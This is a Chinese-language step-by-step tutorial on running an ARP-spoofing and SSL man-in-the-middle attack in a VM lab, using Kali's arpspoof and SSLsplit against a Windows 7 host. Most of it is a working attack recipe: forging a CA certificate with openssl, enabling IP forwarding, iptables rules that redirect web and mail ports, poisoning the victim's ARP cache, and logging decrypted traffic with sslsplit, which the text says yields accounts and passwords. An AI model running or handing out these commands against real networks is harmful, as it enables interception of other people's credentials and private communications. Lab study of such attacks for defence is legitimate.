利用arpspoof + SSLsplit尝试进行arp欺骗

虚拟机准备

win7 ip 192.168.31.46
win7 网关 192.168.31.1
kali ip 192.168.31.22

kali工具准备

SSLsplit

SSLsplit是用于对 SSL / TLS 加密的网络连接进行中间人攻击的工具。用于网络取证，应用程序安全性分析和渗透测试中。SSLsplit是纯粹的透明代理，不能充当浏览器中配置的HTTP或SOCKS代理。SSLsplit支持SSL 3.0，TLS 1.0，TLS 1.1和TLS 1.2，以及可选的SSL 2.0。即在中间监听获取网络数据以便获取的有价值的信息实现攻击破坏的目的，即client-mid man-server，此处介绍的sslsplit可以作为mid man监听ssl信息及HTTP信息。http不做介绍仅仅实现代理功能，ssl实现代理的同时要与服务器建立连接，同时伪造证书与客户端建立连接，即双连接，依据获取的client信息再与服务器通信，从而实现明文数据监听。

arpspoof

arpspoof是一款进行arp欺骗的工具，攻击者通过毒化受害者arp缓存，将网关mac替换为攻击者mac，然后攻击者可截获受害者发送和收到的数据包，可获取受害者账户、密码等相关敏感信息。

保姆级教程

伪造证书

1.利用openssl生成证书私钥
命令：openssl genrsa -out ca.key 2048
【-out:输出为文件ca.key】
2.利用私钥签名生成证书
命令：openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
【req:请求;-new:新的;-x509:格式;-days:有效期;-key指定私钥;-out:根证书】
PS：遇到停顿回车就行

在根目录（/）下发现生成了ca.key 私钥文件和ca.crt证书文件

开启路由转移功能

开启路由转发，我们才能把劫持到的目标机的流量请求发送给网关，使目标机能上网，不开启的话目标机无法上网，可以达到断网的目的

启动路由

法一

sysctl -w net.ipv4.ip_forward=1 

法二

echo 1 > /proc/sys/net/ipv4/ip_forward

设置iptables端口转发规则

清空当前表规则

iptables -t nat -F
【-t:指定表;-A PERROUTING:路由前生效;-p:指定协议;–dport:接受流量的端口;-j:指定处理方法（REDIRECT重定向）;–to-ports:转发端口】

配置规则

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 

显示所有刚才配置的规则

iptables -t nat -L

Arp欺骗 ，截获目标主机的网络流量（不要停止命令行攻击）

arpspoof -i eth0 -t 目标IP -r 目标主机网关
【-i:指定网卡;-t:欺骗目标;-r:网关地址】
arpspoof -i eth0 -t 192.168.31.46 -r 192.168.31.1

启动SSLsplit进行攻击

创建目录（重新创建一个终端命令窗口）

mkdir -p test/logdir

侦听设定的端口

sslsplit -D -l connect.log -j etc/apt/test -S etc/apt/test/logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
注意路径只能是新建test的路径

伪造成功

目标机win7无法正常访问网站

成功进行arp欺骗并用SSLsplit劫持流量信息

目标机访问https的网站，会出现“安全证书有问题的错误”，点击继续访问后，访问信息被记录在connect.log中，且在test/logdir可查看传输数据